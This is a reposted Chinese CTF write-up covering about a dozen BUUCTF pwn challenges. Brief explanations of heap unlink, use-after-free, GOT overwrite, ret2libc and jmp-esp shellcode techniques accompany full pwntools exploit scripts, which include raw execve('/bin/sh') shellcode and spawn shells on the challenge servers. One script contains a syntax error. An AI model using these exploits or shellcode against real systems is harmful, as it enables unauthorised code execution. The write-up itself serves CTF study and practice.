ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

BUUCTF刷题4

2021-10-30 18:31:30  阅读:343  来源: 互联网

标签:ru BUUCTF puts libc free 刷题 data lambda


题目:

hitcon2014_stkof:

参考师傅:(4条消息) 好好说话之unlink_hollk’s blog-CSDN博客_好好说话之unlink

利用方法:堆溢出->伪造chunk->unlink->劫持got->泄露libc地址->开shell

具体步骤:(也不具体,不是很懂,具体参考上面那位师傅 orz )

1.申请4个堆块

0x20(任意大小,由于本题没有setbuf函数,这个chunk被夹在两个为缓冲区申请的块中,不好处理)

0x30(至少为0x30,为能绕过检查,0x8(prev_size) + 0x8(size) + 0x8(fd) + 0x8(bk) + 0x8(next_prev) + 0x8(next_size) = 0x30,这里fd,bk构造最为精巧)

0x80(至少为0x80,能分配到unsortbin)

0x30(任意大小,防止与topchunk合并)

2.堆溢出伪造一个chunk,让系统以为它是空闲的chunk,然后free触发unlink,最后就是在bss段里存chunk指针的一个指针指向这个bss段,这题里改chunk2指针的地址指向,golobal[0]=free_got ,golobal[1]=puts_got,修改chunk1,就是改golobal[0]指向的free_got里的内容为puts_plt,调用free就会调用puts,free(2)即puts(puts_got)就泄露了libc地址

3.得出system地址后,重复上述步骤,改free_got为system地址,并填入/bin/sh,开shell

chunk状态检查

检查1:检查与被释放chunk相邻高地址的chunk的prevsize的值是否等于被释放chunk的size大小

检查2:检查与被释放chunk相邻高地址的chunk的size的P标志位是否为0

检查3:检查前后被释放chunk的fd和bk

以上三点就是检查chunk是否空闲的三大标准

from pwn import *
from LibcSearcher import *
local_file  = './stkof'
local_libc  = './libc-2.23.so'
remote_libc = './libc-2.23.so'
select = 1
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('node4.buuoj.cn',25134)
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims                     :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
     gdb.attach(r,cmd)
def add(size):
    r.sendline("1")
    r.sendline(str(size))
    r.recvuntil("OK\n")
def free(idx):
    r.sendline("3")
    r.sendline(str(idx))
def edit(idx,strings):
    r.sendline("2")
    r.sendline(str(idx))
    r.sendline(str(len(strings)))
    r.send(strings)
    r.recvuntil("OK\n")

#------------------------------------------------------
target = 0x602140
fd = target-0x8
bk = target
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
free_got = elf.got['free']

add(0x20) #1
add(0x30) #2
add(0x80) #3 
add(0x30) #4
pd1=p64(0)+p64(0x30)+p64(fd)+p64(bk)+'a'*0x10+p64(0x30)+p64(0x90)
edit(2,pd1)
free(3)
pd2='a'*0x10+p64(free_got)+p64(puts_got)
edit(2,pd2)
edit(1,p64(puts_plt))
free(2)
#debug()
putgot=uu64(ru('\x7f')[-6:])
print hex(putgot)
#--------------------------------------------------------
obj=LibcSearcher('puts',putgot)
base=putgot-obj.dump('puts')
#print hex(base)
system=base+obj.dump('system')
#binsh=base+obj.dump("str_bin_sh")
edit(1,p64(system))
edit(4,'/bin/sh\x00')
free(4)
r.interactive()

pwnable_hacknote:

参考师傅:[BUUCTF]PWN——pwnable_hacknote - Angel-Yan - 博客园 (cnblogs.com)

这题堆的结构很特别

利用方法:先释放两个chunk,再申请0x8大小,会申请那两个结构0x10的note块,能改后一个note块的内容,改为got表,由于本题的uaf,指针未置0,还能继续调用原本的chunk,就泄露了地址,类似步骤改note块里put函数为system,后一个填/bin/sh,“但是这样失败了但是使用连续执行多条命令的’ ; ‘,第一条执行错误会被忽略,然后执行下一条,因此可以成功将content位置覆盖成 ‘;sh\0’或||sh,同样的然后show(chunk1)就能执行system(‘sh’)得到shell了”

from pwn import *
from LibcSearcher import *
local_file  = './hacknote'
local_libc  = './libc-2.23.so'
remote_libc = './libc-2.23.so'
#remote_libc = '/root/glibc-all-in-onebsubc-2.23.so'
select = 1
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('node4.buuoj.cn',27024 )
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims                         :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
o_g_32_old = [0x3ac3c, 0x3ac3e, 0x3ac42, 0x3ac49, 0x5faa5, 0x5faa6]
o_g_32 = [0x3ac6c, 0x3ac6e, 0x3ac72, 0x3ac79, 0x5fbd5, 0x5fbd6]
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def debug(cmd=''):
     gdb.attach(r,cmd)
#---------------------------------------------
def add(size,content):
        ru('Your choice :')
        sl('1')
        ru('Note size :')
        sl(str(size))
        ru('Content :')
        sl(content)
def free(index):
        ru('Your choice :')
        sl('2')
        ru('Index :')
        sl(str(index))
def show(index):
        ru('Your choice :')
        sl('3')
        ru('Index :')
        sl(str(index))
#----------------------------------------------
puts_got=elf.got['puts']
add(0x80,'aaaa')#0
add(0x80,'bbbb')#1
free(1)
free(0)
add(8,p32(0x804862b)+p32(puts_got))#2
show(1)
puts_addr = u32(rc(4))
print hex(puts_addr)
base=puts_addr-libc.sym['puts']
system=base+libc.sym['system']
print hex(base)
free(2)
add(8,p32(system)+';sh\0')
#debug()
show(1)
r.interactive()

ciscn_2019_s_9:

这题没开nx,直接栈溢出写shellcode

但溢出只有50-0x20-4=10

所以栈中先填shellcode,返回地址填入本题中有的jmp_esp,然后再esp-40到call esp命令处,执行shellcode

from pwn import*
#r=process('./ciscn_s_9')
r=remote('node4.buuoj.cn',26224)
context.arch='i386'
sc='\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'
print len(sc)
jmp_esp=0x08048554
call=asm('sub esp,40;call esp')
print len(call)
r.sendline(sc.ljust(0x24,'\x00')+p32(jmp_esp)+call)

r.interactive()


picoctf_2018_shellcode:

这里让我们输入的地方直接是ret的地址,且没开nx,直接用shellcode

from pwn import*
r=remote('node4.buuoj.cn',29624)
context.arch='i386'
sc=asm(shellcraft.sh())
r.sendline(sc)
r.interactive()

npuctf_2020_easyheap:

from pwn import *
from LibcSearcher import *
local_file  = './npuctf_2020_easyheap'
local_libc  = './libc-2.27.so'
remote_libc = './libc-2.27.so'
#remote_libc = '/home/glibc-all-in-one/libs/buu/libc-2.23.so'
select = 1
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('node4.buuoj.cn',25288 )
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims                         :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
o_g_32_old = [0x3ac3c, 0x3ac3e, 0x3ac42, 0x3ac49, 0x5faa5, 0x5faa6]
o_g_32 = [0x3ac6c, 0x3ac6e, 0x3ac72, 0x3ac79, 0x5fbd5, 0x5fbd6]
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def debug(cmd=''):
     gdb.attach(r,cmd)
#------------------------------------------------
def add(size,content):
    ru('Your choice :')
    sl('1')
    ru('Size of Heap(0x10 or 0x20 only) : ')
    sl(str(size))
    ru('Content:')
    sl(content)
def edit(index,content):
    ru('Your choice :')
    sl('2')
    ru('Index :')
    sl(str(index))
    ru('Content:')
    sl(content)
def show(index):
    ru('Your choice :')
    sl('3')
    ru('Index :')
    sl(str(index))
def free(index):
    ru('Your choice :')
    sl('4')
    ru('Index :')
    sl(str(index))
#-----------------------------------------------
add(0x18,'a'*0x18)#0
add(0x18,'a'*0x18)#1
edit(0,'/bin/sh\x00'+p64(0)*2+p8(0x41))
free(1)
add(0x38,'p'*0x10+p64(0)+p64(0x21)+p64(0x8)+p64(elf.got['free']))
show(1)
#-----------------------------------------------
addr=uu64(ru('\x7f')[-6:])
#obj=LibcSearcher('free',addr)
base=addr-libc.sym['free']
system=base+libc.sym['system']
print hex(base)
#----------------------------------------------
edit(1,p64(system))
free(0)
#debug()
r.interactive()

cmcc_pwnme2:

这题原本add_home,add_flag为的是在bss段的string里写入/home/flag然后利用exec_string读取flag

但在buu里路径flag就可以读取

不能用add_flag去填string会填入/flag(不同于flag,我猜)

from pwn import*
r=remote('node4.buuoj.cn',27836)
puts_plt=0x8048440
exec_string=0x80485cb
string=0x804a060
r.sendline('a'*0x6c+'b'*4+p32(puts_plt)+p32(exec_string)+p32(string))
r.sendline('flag')
r.interactive()

x_ctf_b0verfl0w:

又是遇到这种题目,还是用jmp_esp跳到栈上执行shellcode的方法

from pwn import*
r=remote('node4.buuoj.cn',25252)
#r=process('./b0verfl0w')
context.arch='i386'
pd='\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'
pd=pd.ljust(0x24,'a')
jmp_esp=0x08048504
pd+=p32(jmp_esp)+asm('sub esp,0x28;call esp')
r.sendline(pd)
r.interactive()

picoctf_2018_leak_me:

可以学到了,参考这位师傅picoctf_2018_leak_me_白日梦-想家的博客-CSDN博客

这道题一开始F5不能显示伪代码。会显示又有个地方有问题,快捷键g输入有问题的地方的地址,然后点进去先反编译有问题的这个函数,然后再出来反编译整个函数就好了

puts是用\x00分隔的,密码与name相连,相差0x100距离,我们直接把\x00填满,puts就能带出password了

from pwn import*
r=remote('node4.buuoj.cn',27410)

r.sendline('qyq')
r.sendline('a_reAllY_s3cuRe_p4s$word_f85406')
r.interactive()

suctf_2018_basic pwn:

from pwn import*
r=remote('node4.buuoj.cn',27295)
r.sendline('a'*0x110+'b'*8+p64(0x401157))
r.interactive()

cmcc_pwnme1:

这题没找到jmp rsp 用ret2libc做

from pwn import*
r=remote('node4.buuoj.cn',26781)
libc = ELF('./libc-2.23.so')
elf = ELF('./pwnme1')r.sendline('5')
r.sendlineafter('Please input the name of fruit:','a'*0xa4+'bbbb'+p32(elf.sym['puts'])+p32(0x8048624)+p32(elf.got['puts']))
puts_got=u32(r.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
print hex(puts_got)
libc_base=puts_gotlibc.sym['puts']
og=libc_base+0x3a812
r.sendlineafter('Please input the name of fruit:','a'*0xa4+'bbbb'+p32(og))
r.interactive()

标签:ru,BUUCTF,puts,libc,free,刷题,data,lambda
来源: https://blog.csdn.net/m0_51251108/article/details/121054541

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有